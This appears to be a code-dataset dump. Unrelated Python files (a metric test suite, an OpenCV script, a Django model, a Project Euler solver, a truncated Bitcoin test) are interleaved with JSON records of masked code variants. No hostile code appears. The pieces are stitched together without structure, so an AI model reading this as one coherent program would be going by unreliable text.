"step-4": "from qav5.http.client import BaseClient\nfrom qav5.http.helper import api\nfrom qav5.utils import Bunch, low_case_to_camelcase\n\n\nclass AppusersClient(BaseClient):\n\n def __init__(self, base_url, access_token=None, **kwargs):\n super().__init__(base_url, kwargs)\n self.access_token = access_token\n self.req_kwargs.update({'headers': {'Authorization': self.\n access_token}})\n self.interceptor = lambda r, j: Bunch(j)\n\n @api(rule='/app_users/app_order_create_info', method='get', is_json_req\n =True)\n def app_order_create_info(self, order_id: int=None):\n \"\"\"\n 订单创建个人账号页信息\n :return:\n \"\"\"\n\n def contract_upload_for_user(self, sub_firm_id, contract_file):\n \"\"\"\n 单个创建账号的合同文件\n :param contract_file: 合同文件\n :param sub_firm_id: 公司id\n :return:\n \"\"\"\n return self._call_api('/app_users/contract_upload', method='POST',\n req_kwargs=dict(data={'sub_firm_id': sub_firm_id}, files=dict(\n contract_file=open(contract_file, 'rb'))), disable_log=True)\n\n @api(rule='/app_users/setting', is_json_req=True)\n def app_users_setting(self, id):\n \"\"\"\n 账号编辑设置\n :param id: 个人账号id\n :return:\n \"\"\"\n\n @api(rule='/app_users/set_allot_admin', is_json_req=True, remove_null=True)\n def set_allot_admin(self, app_user_ids, allot_admin):\n \"\"\"\n 设置分配管理员\n :param app_user_ids:个人账号IDs 的数组\n :param allot_admin:设置分配管理员,(0:否|1:是)\n :return:\n \"\"\"\n pass\n",
"step-5": "# -*- coding: utf-8 -*-\n\nfrom qav5.http.client import BaseClient\nfrom qav5.http.helper import api\nfrom qav5.utils import Bunch, low_case_to_camelcase\n\n\nclass AppusersClient(BaseClient):\n def __init__(self, base_url, access_token=None, **kwargs):\n super().__init__(base_url, kwargs)\n self.access_token = access_token\n self.req_kwargs.update({\"headers\": {\"Authorization\": self.access_token}})\n self.interceptor = lambda r, j: Bunch(j)\n\n @api(rule=\"/app_users/app_order_create_info\", method=\"get\", is_json_req=True)\n def app_order_create_info(self,order_id:int=None):\n \"\"\"\n 订单创建个人账号页信息\n :return:\n \"\"\"\n\n def contract_upload_for_user(self, sub_firm_id, contract_file):\n \"\"\"\n 单个创建账号的合同文件\n :param contract_file: 合同文件\n :param sub_firm_id: 公司id\n :return:\n \"\"\"\n return self._call_api(\"/app_users/contract_upload\", method='POST',\n req_kwargs=dict(data={\"sub_firm_id\": sub_firm_id},\n files=dict(contract_file=open(contract_file, 'rb'))),\n disable_log=True)\n\n @api(rule=\"/app_users/setting\", is_json_req=True)\n def app_users_setting(self,id):\n \"\"\"\n 账号编辑设置\n :param id: 个人账号id\n :return:\n \"\"\"\n\n @api(rule=\"/app_users/set_allot_admin\", is_json_req=True, remove_null=True)\n def set_allot_admin(self, app_user_ids, allot_admin):\n \"\"\"\n 设置分配管理员\n :param app_user_ids:个人账号IDs 的数组\n :param allot_admin:设置分配管理员,(0:否|1:是)\n :return:\n \"\"\"\n pass\n",
"step-ids": [
3,
4,
6,
7,
8
]
}
|
[
3,
4,
6,
7,
8
] |
import numpy as np
import pytest
import torch
from ignite.contrib.metrics.regression import MeanNormalizedBias
from ignite.engine import Engine
from ignite.exceptions import NotComputableError
def test_zero_sample():
m = MeanNormalizedBias()
with pytest.raises(
NotComputableError, match=r"MeanNormalizedBias must have at least one example before it can be computed"
):
m.compute()
def test_zero_gt():
a = np.random.randn(4)
ground_truth = np.zeros(4)
m = MeanNormalizedBias()
with pytest.raises(NotComputableError, match=r"The ground truth has 0."):
m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))
def test_wrong_input_shapes():
m = MeanNormalizedBias()
with pytest.raises(ValueError, match=r"Input data shapes should be the same, but given"):
m.update((torch.rand(4, 1, 2), torch.rand(4, 1)))
with pytest.raises(ValueError, match=r"Input data shapes should be the same, but given"):
m.update((torch.rand(4, 1), torch.rand(4, 1, 2)))
with pytest.raises(ValueError, match=r"Input data shapes should be the same, but given"):
m.update((torch.rand(4, 1, 2), torch.rand(4,),))
with pytest.raises(ValueError, match=r"Input data shapes should be the same, but given"):
m.update((torch.rand(4,), torch.rand(4, 1, 2),))
def test_mean_error():
a = np.random.randn(4)
b = np.random.randn(4)
c = np.random.randn(4)
d = np.random.randn(4)
ground_truth = np.random.randn(4)
m = MeanNormalizedBias()
m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))
np_sum = ((ground_truth - a) / ground_truth).sum()
np_len = len(a)
np_ans = np_sum / np_len
assert m.compute() == pytest.approx(np_ans)
m.update((torch.from_numpy(b), torch.from_numpy(ground_truth)))
np_sum += ((ground_truth - b) / ground_truth).sum()
np_len += len(b)
np_ans = np_sum / np_len
assert m.compute() == pytest.approx(np_ans)
m.update((torch.from_numpy(c), torch.from_numpy(ground_truth)))
np_sum += ((ground_truth - c) / ground_truth).sum()
np_len += len(c)
np_ans = np_sum / np_len
assert m.compute() == pytest.approx(np_ans)
m.update((torch.from_numpy(d), torch.from_numpy(ground_truth)))
np_sum += ((ground_truth - d) / ground_truth).sum()
np_len += len(d)
np_ans = np_sum / np_len
assert m.compute() == pytest.approx(np_ans)
def test_integration():
def _test(y_pred, y, batch_size):
def update_fn(engine, batch):
idx = (engine.state.iteration - 1) * batch_size
y_true_batch = np_y[idx : idx + batch_size]
y_pred_batch = np_y_pred[idx : idx + batch_size]
return torch.from_numpy(y_pred_batch), torch.from_numpy(y_true_batch)
engine = Engine(update_fn)
m = MeanNormalizedBias()
m.attach(engine, "mnb")
np_y = y.numpy()
np_y_pred = y_pred.numpy()
data = list(range(y_pred.shape[0] // batch_size))
mnb = engine.run(data, max_epochs=1).metrics["mnb"]
np_sum = ((np_y - np_y_pred) / np_y).sum()
np_len = len(np_y_pred)
np_ans = np_sum / np_len
assert np_ans == pytest.approx(mnb)
def get_test_cases():
test_cases = [
(torch.rand(size=(100,)), torch.rand(size=(100,)), 10),
(torch.rand(size=(200,)), torch.rand(size=(200,)), 10),
(torch.rand(size=(100,)), torch.rand(size=(100,)), 20),
(torch.rand(size=(200,)), torch.rand(size=(200,)), 20),
]
return test_cases
for _ in range(10):
# check multiple random inputs as random exact occurencies are rare
test_cases = get_test_cases()
for y_pred, y, batch_size in test_cases:
_test(y_pred, y, batch_size)
|
normal
|
{
"blob_id": "452f35fe2ae9609949a3f92ad7768fc37094a2f1",
"index": 3786,
"step-1": "<mask token>\n\n\ndef test_zero_sample():\n m = MeanNormalizedBias()\n with pytest.raises(NotComputableError, match=\n 'MeanNormalizedBias must have at least one example before it can be computed'\n ):\n m.compute()\n\n\ndef test_zero_gt():\n a = np.random.randn(4)\n ground_truth = np.zeros(4)\n m = MeanNormalizedBias()\n with pytest.raises(NotComputableError, match='The ground truth has 0.'):\n m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))\n\n\ndef test_wrong_input_shapes():\n m = MeanNormalizedBias()\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1, 2), torch.rand(4, 1)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1), torch.rand(4, 1, 2)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1, 2), torch.rand(4)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4), torch.rand(4, 1, 2)))\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef test_zero_sample():\n m = MeanNormalizedBias()\n with pytest.raises(NotComputableError, match=\n 'MeanNormalizedBias must have at least one example before it can be computed'\n ):\n m.compute()\n\n\ndef test_zero_gt():\n a = np.random.randn(4)\n ground_truth = np.zeros(4)\n m = MeanNormalizedBias()\n with pytest.raises(NotComputableError, match='The ground truth has 0.'):\n m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))\n\n\ndef test_wrong_input_shapes():\n m = MeanNormalizedBias()\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1, 2), torch.rand(4, 1)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1), torch.rand(4, 1, 2)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1, 2), torch.rand(4)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4), torch.rand(4, 1, 2)))\n\n\n<mask token>\n\n\ndef test_integration():\n\n def _test(y_pred, y, batch_size):\n\n def update_fn(engine, batch):\n idx = (engine.state.iteration - 1) * batch_size\n y_true_batch = np_y[idx:idx + batch_size]\n y_pred_batch = np_y_pred[idx:idx + batch_size]\n return torch.from_numpy(y_pred_batch), torch.from_numpy(\n y_true_batch)\n engine = Engine(update_fn)\n m = MeanNormalizedBias()\n m.attach(engine, 'mnb')\n np_y = y.numpy()\n np_y_pred = y_pred.numpy()\n data = list(range(y_pred.shape[0] // batch_size))\n mnb = engine.run(data, max_epochs=1).metrics['mnb']\n np_sum = ((np_y - np_y_pred) / np_y).sum()\n np_len = len(np_y_pred)\n np_ans = np_sum / np_len\n assert np_ans == pytest.approx(mnb)\n\n def get_test_cases():\n test_cases = [(torch.rand(size=(100,)), torch.rand(size=(100,)), 10\n ), (torch.rand(size=(200,)), torch.rand(size=(200,)), 10), (\n torch.rand(size=(100,)), torch.rand(size=(100,)), 20), (torch.\n rand(size=(200,)), torch.rand(size=(200,)), 20)]\n return test_cases\n for _ in range(10):\n test_cases = get_test_cases()\n for y_pred, y, batch_size in test_cases:\n _test(y_pred, y, batch_size)\n",
"step-3": "<mask token>\n\n\ndef test_zero_sample():\n m = MeanNormalizedBias()\n with pytest.raises(NotComputableError, match=\n 'MeanNormalizedBias must have at least one example before it can be computed'\n ):\n m.compute()\n\n\ndef test_zero_gt():\n a = np.random.randn(4)\n ground_truth = np.zeros(4)\n m = MeanNormalizedBias()\n with pytest.raises(NotComputableError, match='The ground truth has 0.'):\n m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))\n\n\ndef test_wrong_input_shapes():\n m = MeanNormalizedBias()\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1, 2), torch.rand(4, 1)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1), torch.rand(4, 1, 2)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1, 2), torch.rand(4)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4), torch.rand(4, 1, 2)))\n\n\ndef test_mean_error():\n a = np.random.randn(4)\n b = np.random.randn(4)\n c = np.random.randn(4)\n d = np.random.randn(4)\n ground_truth = np.random.randn(4)\n m = MeanNormalizedBias()\n m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))\n np_sum = ((ground_truth - a) / ground_truth).sum()\n np_len = len(a)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n m.update((torch.from_numpy(b), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - b) / ground_truth).sum()\n np_len += len(b)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n m.update((torch.from_numpy(c), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - c) / ground_truth).sum()\n np_len += len(c)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n m.update((torch.from_numpy(d), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - d) / ground_truth).sum()\n np_len += len(d)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n\n\ndef test_integration():\n\n def _test(y_pred, y, batch_size):\n\n def update_fn(engine, batch):\n idx = (engine.state.iteration - 1) * batch_size\n y_true_batch = np_y[idx:idx + batch_size]\n y_pred_batch = np_y_pred[idx:idx + batch_size]\n return torch.from_numpy(y_pred_batch), torch.from_numpy(\n y_true_batch)\n engine = Engine(update_fn)\n m = MeanNormalizedBias()\n m.attach(engine, 'mnb')\n np_y = y.numpy()\n np_y_pred = y_pred.numpy()\n data = list(range(y_pred.shape[0] // batch_size))\n mnb = engine.run(data, max_epochs=1).metrics['mnb']\n np_sum = ((np_y - np_y_pred) / np_y).sum()\n np_len = len(np_y_pred)\n np_ans = np_sum / np_len\n assert np_ans == pytest.approx(mnb)\n\n def get_test_cases():\n test_cases = [(torch.rand(size=(100,)), torch.rand(size=(100,)), 10\n ), (torch.rand(size=(200,)), torch.rand(size=(200,)), 10), (\n torch.rand(size=(100,)), torch.rand(size=(100,)), 20), (torch.\n rand(size=(200,)), torch.rand(size=(200,)), 20)]\n return test_cases\n for _ in range(10):\n test_cases = get_test_cases()\n for y_pred, y, batch_size in test_cases:\n _test(y_pred, y, batch_size)\n",
"step-4": "import numpy as np\nimport pytest\nimport torch\nfrom ignite.contrib.metrics.regression import MeanNormalizedBias\nfrom ignite.engine import Engine\nfrom ignite.exceptions import NotComputableError\n\n\ndef test_zero_sample():\n m = MeanNormalizedBias()\n with pytest.raises(NotComputableError, match=\n 'MeanNormalizedBias must have at least one example before it can be computed'\n ):\n m.compute()\n\n\ndef test_zero_gt():\n a = np.random.randn(4)\n ground_truth = np.zeros(4)\n m = MeanNormalizedBias()\n with pytest.raises(NotComputableError, match='The ground truth has 0.'):\n m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))\n\n\ndef test_wrong_input_shapes():\n m = MeanNormalizedBias()\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1, 2), torch.rand(4, 1)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1), torch.rand(4, 1, 2)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4, 1, 2), torch.rand(4)))\n with pytest.raises(ValueError, match=\n 'Input data shapes should be the same, but given'):\n m.update((torch.rand(4), torch.rand(4, 1, 2)))\n\n\ndef test_mean_error():\n a = np.random.randn(4)\n b = np.random.randn(4)\n c = np.random.randn(4)\n d = np.random.randn(4)\n ground_truth = np.random.randn(4)\n m = MeanNormalizedBias()\n m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))\n np_sum = ((ground_truth - a) / ground_truth).sum()\n np_len = len(a)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n m.update((torch.from_numpy(b), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - b) / ground_truth).sum()\n np_len += len(b)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n m.update((torch.from_numpy(c), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - c) / ground_truth).sum()\n np_len += len(c)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n m.update((torch.from_numpy(d), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - d) / ground_truth).sum()\n np_len += len(d)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n\n\ndef test_integration():\n\n def _test(y_pred, y, batch_size):\n\n def update_fn(engine, batch):\n idx = (engine.state.iteration - 1) * batch_size\n y_true_batch = np_y[idx:idx + batch_size]\n y_pred_batch = np_y_pred[idx:idx + batch_size]\n return torch.from_numpy(y_pred_batch), torch.from_numpy(\n y_true_batch)\n engine = Engine(update_fn)\n m = MeanNormalizedBias()\n m.attach(engine, 'mnb')\n np_y = y.numpy()\n np_y_pred = y_pred.numpy()\n data = list(range(y_pred.shape[0] // batch_size))\n mnb = engine.run(data, max_epochs=1).metrics['mnb']\n np_sum = ((np_y - np_y_pred) / np_y).sum()\n np_len = len(np_y_pred)\n np_ans = np_sum / np_len\n assert np_ans == pytest.approx(mnb)\n\n def get_test_cases():\n test_cases = [(torch.rand(size=(100,)), torch.rand(size=(100,)), 10\n ), (torch.rand(size=(200,)), torch.rand(size=(200,)), 10), (\n torch.rand(size=(100,)), torch.rand(size=(100,)), 20), (torch.\n rand(size=(200,)), torch.rand(size=(200,)), 20)]\n return test_cases\n for _ in range(10):\n test_cases = get_test_cases()\n for y_pred, y, batch_size in test_cases:\n _test(y_pred, y, batch_size)\n",
"step-5": "import numpy as np\nimport pytest\nimport torch\n\nfrom ignite.contrib.metrics.regression import MeanNormalizedBias\nfrom ignite.engine import Engine\nfrom ignite.exceptions import NotComputableError\n\n\ndef test_zero_sample():\n m = MeanNormalizedBias()\n with pytest.raises(\n NotComputableError, match=r\"MeanNormalizedBias must have at least one example before it can be computed\"\n ):\n m.compute()\n\n\ndef test_zero_gt():\n a = np.random.randn(4)\n ground_truth = np.zeros(4)\n\n m = MeanNormalizedBias()\n\n with pytest.raises(NotComputableError, match=r\"The ground truth has 0.\"):\n m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))\n\n\ndef test_wrong_input_shapes():\n m = MeanNormalizedBias()\n\n with pytest.raises(ValueError, match=r\"Input data shapes should be the same, but given\"):\n m.update((torch.rand(4, 1, 2), torch.rand(4, 1)))\n\n with pytest.raises(ValueError, match=r\"Input data shapes should be the same, but given\"):\n m.update((torch.rand(4, 1), torch.rand(4, 1, 2)))\n\n with pytest.raises(ValueError, match=r\"Input data shapes should be the same, but given\"):\n m.update((torch.rand(4, 1, 2), torch.rand(4,),))\n\n with pytest.raises(ValueError, match=r\"Input data shapes should be the same, but given\"):\n m.update((torch.rand(4,), torch.rand(4, 1, 2),))\n\n\ndef test_mean_error():\n a = np.random.randn(4)\n b = np.random.randn(4)\n c = np.random.randn(4)\n d = np.random.randn(4)\n ground_truth = np.random.randn(4)\n\n m = MeanNormalizedBias()\n\n m.update((torch.from_numpy(a), torch.from_numpy(ground_truth)))\n np_sum = ((ground_truth - a) / ground_truth).sum()\n np_len = len(a)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n\n m.update((torch.from_numpy(b), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - b) / ground_truth).sum()\n np_len += len(b)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n\n m.update((torch.from_numpy(c), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - c) / ground_truth).sum()\n np_len += len(c)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n\n m.update((torch.from_numpy(d), torch.from_numpy(ground_truth)))\n np_sum += ((ground_truth - d) / ground_truth).sum()\n np_len += len(d)\n np_ans = np_sum / np_len\n assert m.compute() == pytest.approx(np_ans)\n\n\ndef test_integration():\n def _test(y_pred, y, batch_size):\n def update_fn(engine, batch):\n idx = (engine.state.iteration - 1) * batch_size\n y_true_batch = np_y[idx : idx + batch_size]\n y_pred_batch = np_y_pred[idx : idx + batch_size]\n return torch.from_numpy(y_pred_batch), torch.from_numpy(y_true_batch)\n\n engine = Engine(update_fn)\n\n m = MeanNormalizedBias()\n m.attach(engine, \"mnb\")\n\n np_y = y.numpy()\n np_y_pred = y_pred.numpy()\n\n data = list(range(y_pred.shape[0] // batch_size))\n mnb = engine.run(data, max_epochs=1).metrics[\"mnb\"]\n\n np_sum = ((np_y - np_y_pred) / np_y).sum()\n np_len = len(np_y_pred)\n np_ans = np_sum / np_len\n\n assert np_ans == pytest.approx(mnb)\n\n def get_test_cases():\n test_cases = [\n (torch.rand(size=(100,)), torch.rand(size=(100,)), 10),\n (torch.rand(size=(200,)), torch.rand(size=(200,)), 10),\n (torch.rand(size=(100,)), torch.rand(size=(100,)), 20),\n (torch.rand(size=(200,)), torch.rand(size=(200,)), 20),\n ]\n return test_cases\n\n for _ in range(10):\n # check multiple random inputs as random exact occurencies are rare\n test_cases = get_test_cases()\n for y_pred, y, batch_size in test_cases:\n _test(y_pred, y, batch_size)\n",
"step-ids": [
3,
4,
5,
6,
7
]
}
|
[
3,
4,
5,
6,
7
] |
import random
import cv2
img = cv2.imread('assets/logo.jpg', -1)
print(img.shape) #3 channels, bgr
#look at the 257. row and pixel 400 --> has bgr values: [41 98 243]
print(img[257][400])
'''
# manipulate the first 100 rows, all columns, and randomize the 3 pixel values
# (rows, colums, pixels) where pixels: b,g,r
for i in range(100): #first 100 rows
for j in range(img.shape[1]): #all the colums
img[i][j] = [random.randint(0,255),random.randint(0,255),random.randint(0,255)]
cv2.imshow('modifiedImage', img)
cv2.waitKey(0)
cv2.destroyAllWindows()
'''
#copy one part of the image and copy it somewhere else
#take the pixels from row 500 bis 700 und davon die colums 600:900
tag = img[500:700, 600:900] #part of the picture
#paste this on another location in the image; needs same dimeension/ size
img[100:300, 650:950] = tag
cv2.imshow('Image', img)
cv2.waitKey(0)
cv2.destroyAllWindows()
|
normal
|
{
"blob_id": "35e66e5e154f5cd70f187a1cde33cef71102e1a6",
"index": 6829,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(img.shape)\nprint(img[257][400])\n<mask token>\ncv2.imshow('Image', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n",
"step-3": "<mask token>\nimg = cv2.imread('assets/logo.jpg', -1)\nprint(img.shape)\nprint(img[257][400])\n<mask token>\ntag = img[500:700, 600:900]\nimg[100:300, 650:950] = tag\ncv2.imshow('Image', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n",
"step-4": "import random\nimport cv2\nimg = cv2.imread('assets/logo.jpg', -1)\nprint(img.shape)\nprint(img[257][400])\n<mask token>\ntag = img[500:700, 600:900]\nimg[100:300, 650:950] = tag\ncv2.imshow('Image', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n",
"step-5": "import random\nimport cv2\n\nimg = cv2.imread('assets/logo.jpg', -1)\nprint(img.shape) #3 channels, bgr\n\n#look at the 257. row and pixel 400 --> has bgr values: [41 98 243]\nprint(img[257][400])\n\n'''\n# manipulate the first 100 rows, all columns, and randomize the 3 pixel values\n# (rows, colums, pixels) where pixels: b,g,r\nfor i in range(100): #first 100 rows\n for j in range(img.shape[1]): #all the colums\n img[i][j] = [random.randint(0,255),random.randint(0,255),random.randint(0,255)]\n\ncv2.imshow('modifiedImage', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n'''\n\n#copy one part of the image and copy it somewhere else\n#take the pixels from row 500 bis 700 und davon die colums 600:900\ntag = img[500:700, 600:900] #part of the picture\n\n#paste this on another location in the image; needs same dimeension/ size\nimg[100:300, 650:950] = tag\n\ncv2.imshow('Image', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
# Create your models here.
from django.db import models
from django.utils import timezone
from django.db import models
# Create your models here.
#필드 개수가 다르다.
class Post(models.Model):
#이 Post의 저자이다라는 의미, CASCADE : 종속이라는 의미
author = models.ForeignKey('auth.User', on_delete=models.CASCADE)
title = models.CharField(max_length=200) #블로그 기사의 제목
text = models.TextField() # 글자수에 제한 없는 텍스트
#생성자를 만들때마다, 반드시 필수 파라미터가 존재해야한다.
created_date = models.DateTimeField(
default=timezone.now) # 날짜와 시간
#Null Field를 허용
published_date = models.DateTimeField(
blank=True, null=True) # 필드가 폼에서 빈 채로 저장되는 것을 허용, null은 DB 관점
def publish(self):
#published_data를 지금날짜로 바꾸고 save
self.published_date = timezone.now()
self.save()
def __str__(self):
return self.title
|
normal
|
{
"blob_id": "fe5398b03d2f0cfc7c972677faa0ea3ec701469e",
"index": 7858,
"step-1": "<mask token>\n\n\nclass Post(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def publish(self):\n self.published_date = timezone.now()\n self.save()\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass Post(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def publish(self):\n self.published_date = timezone.now()\n self.save()\n\n def __str__(self):\n return self.title\n",
"step-3": "<mask token>\n\n\nclass Post(models.Model):\n author = models.ForeignKey('auth.User', on_delete=models.CASCADE)\n title = models.CharField(max_length=200)\n text = models.TextField()\n created_date = models.DateTimeField(default=timezone.now)\n published_date = models.DateTimeField(blank=True, null=True)\n\n def publish(self):\n self.published_date = timezone.now()\n self.save()\n\n def __str__(self):\n return self.title\n",
"step-4": "from django.db import models\nfrom django.utils import timezone\nfrom django.db import models\n\n\nclass Post(models.Model):\n author = models.ForeignKey('auth.User', on_delete=models.CASCADE)\n title = models.CharField(max_length=200)\n text = models.TextField()\n created_date = models.DateTimeField(default=timezone.now)\n published_date = models.DateTimeField(blank=True, null=True)\n\n def publish(self):\n self.published_date = timezone.now()\n self.save()\n\n def __str__(self):\n return self.title\n",
"step-5": "# Create your models here.\nfrom django.db import models\nfrom django.utils import timezone\nfrom django.db import models\n\n# Create your models here.\n#필드 개수가 다르다.\n\nclass Post(models.Model):\n #이 Post의 저자이다라는 의미, CASCADE : 종속이라는 의미\n author = models.ForeignKey('auth.User', on_delete=models.CASCADE)\n title = models.CharField(max_length=200) #블로그 기사의 제목\n text = models.TextField() # 글자수에 제한 없는 텍스트\n #생성자를 만들때마다, 반드시 필수 파라미터가 존재해야한다.\n created_date = models.DateTimeField(\n default=timezone.now) # 날짜와 시간\n #Null Field를 허용\n published_date = models.DateTimeField(\n blank=True, null=True) # 필드가 폼에서 빈 채로 저장되는 것을 허용, null은 DB 관점\n\n def publish(self):\n #published_data를 지금날짜로 바꾸고 save\n self.published_date = timezone.now()\n self.save()\n\n def __str__(self):\n return self.title",
"step-ids": [
2,
3,
4,
5,
6
]
}
|
[
2,
3,
4,
5,
6
] |
# find the 12-digit number formed by concatenating a series of 3 4-digit
# numbers who are permutations of each other and are all prime
from itertools import permutations, dropwhile
from pe_utils import prime_sieve
prime_set = set(prime_sieve(10000))
def perm(n, inc):
perm_set = set(map(lambda x: int("".join(x)), permutations(str(n))))
perms = (n, n + inc, n + inc*2)
if any(map(lambda x: x not in prime_set or x not in perm_set, perms)):
return None
else:
return perms
primes = dropwhile(lambda x: x < 1000, prime_sieve(3333))
primes = filter(lambda x: x != None, map(lambda x: perm(x, 3330), primes))
primes = list(map(lambda x: x[0] * 10**8 + x[1] * 10**4 + x[2], primes))
print(primes)
|
normal
|
{
"blob_id": "e03290746d6520fde63836e917f6af0c76596704",
"index": 3816,
"step-1": "<mask token>\n\n\ndef perm(n, inc):\n perm_set = set(map(lambda x: int(''.join(x)), permutations(str(n))))\n perms = n, n + inc, n + inc * 2\n if any(map(lambda x: x not in prime_set or x not in perm_set, perms)):\n return None\n else:\n return perms\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef perm(n, inc):\n perm_set = set(map(lambda x: int(''.join(x)), permutations(str(n))))\n perms = n, n + inc, n + inc * 2\n if any(map(lambda x: x not in prime_set or x not in perm_set, perms)):\n return None\n else:\n return perms\n\n\n<mask token>\nprint(primes)\n",
"step-3": "<mask token>\nprime_set = set(prime_sieve(10000))\n\n\ndef perm(n, inc):\n perm_set = set(map(lambda x: int(''.join(x)), permutations(str(n))))\n perms = n, n + inc, n + inc * 2\n if any(map(lambda x: x not in prime_set or x not in perm_set, perms)):\n return None\n else:\n return perms\n\n\nprimes = dropwhile(lambda x: x < 1000, prime_sieve(3333))\nprimes = filter(lambda x: x != None, map(lambda x: perm(x, 3330), primes))\nprimes = list(map(lambda x: x[0] * 10 ** 8 + x[1] * 10 ** 4 + x[2], primes))\nprint(primes)\n",
"step-4": "from itertools import permutations, dropwhile\nfrom pe_utils import prime_sieve\nprime_set = set(prime_sieve(10000))\n\n\ndef perm(n, inc):\n perm_set = set(map(lambda x: int(''.join(x)), permutations(str(n))))\n perms = n, n + inc, n + inc * 2\n if any(map(lambda x: x not in prime_set or x not in perm_set, perms)):\n return None\n else:\n return perms\n\n\nprimes = dropwhile(lambda x: x < 1000, prime_sieve(3333))\nprimes = filter(lambda x: x != None, map(lambda x: perm(x, 3330), primes))\nprimes = list(map(lambda x: x[0] * 10 ** 8 + x[1] * 10 ** 4 + x[2], primes))\nprint(primes)\n",
"step-5": "# find the 12-digit number formed by concatenating a series of 3 4-digit\n# numbers who are permutations of each other and are all prime\n\nfrom itertools import permutations, dropwhile\nfrom pe_utils import prime_sieve\n\nprime_set = set(prime_sieve(10000))\n\ndef perm(n, inc):\n perm_set = set(map(lambda x: int(\"\".join(x)), permutations(str(n))))\n perms = (n, n + inc, n + inc*2)\n if any(map(lambda x: x not in prime_set or x not in perm_set, perms)):\n return None\n else:\n return perms\n\n\nprimes = dropwhile(lambda x: x < 1000, prime_sieve(3333))\nprimes = filter(lambda x: x != None, map(lambda x: perm(x, 3330), primes))\nprimes = list(map(lambda x: x[0] * 10**8 + x[1] * 10**4 + x[2], primes))\nprint(primes)\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
#!/usr/bin/env python3
# Copyright (c) 2018 Nobody
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test perforance of descendant package (chained transactions)"""
import time
import copy
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
from test_framework.mininode import COIN
from test_framework.blocktools import *
"""Read optional arguments from command line"""
CHAINED_TX = 25
if len(sys.argv)>1:
CHAINED_TX = int(sys.argv[1])
TEST_ITERATIONS = 1
if len(sys.argv)>2:
TEST_ITERATIONS = int(sys.argv[2])
DEBUG_MODE = '-printtoconsole'
MAX_ANCESTORS = CHAINED_TX
MAX_DESCENDANTS = CHAINED_TX
MAGNETIC_ANOMALY_START_TIME = 2000000000
class ChainedTest(BitcoinTestFramework):
def set_test_params(self):
''' our test network requires a peer node so that getblocktemplate succeeds '''
self.num_nodes = 2
chained_args = ["-limitancestorcount=2000", "-limitdescendantcount=2000",
"-limitancestorsize=1000", "-limitdescendantsize=1000",
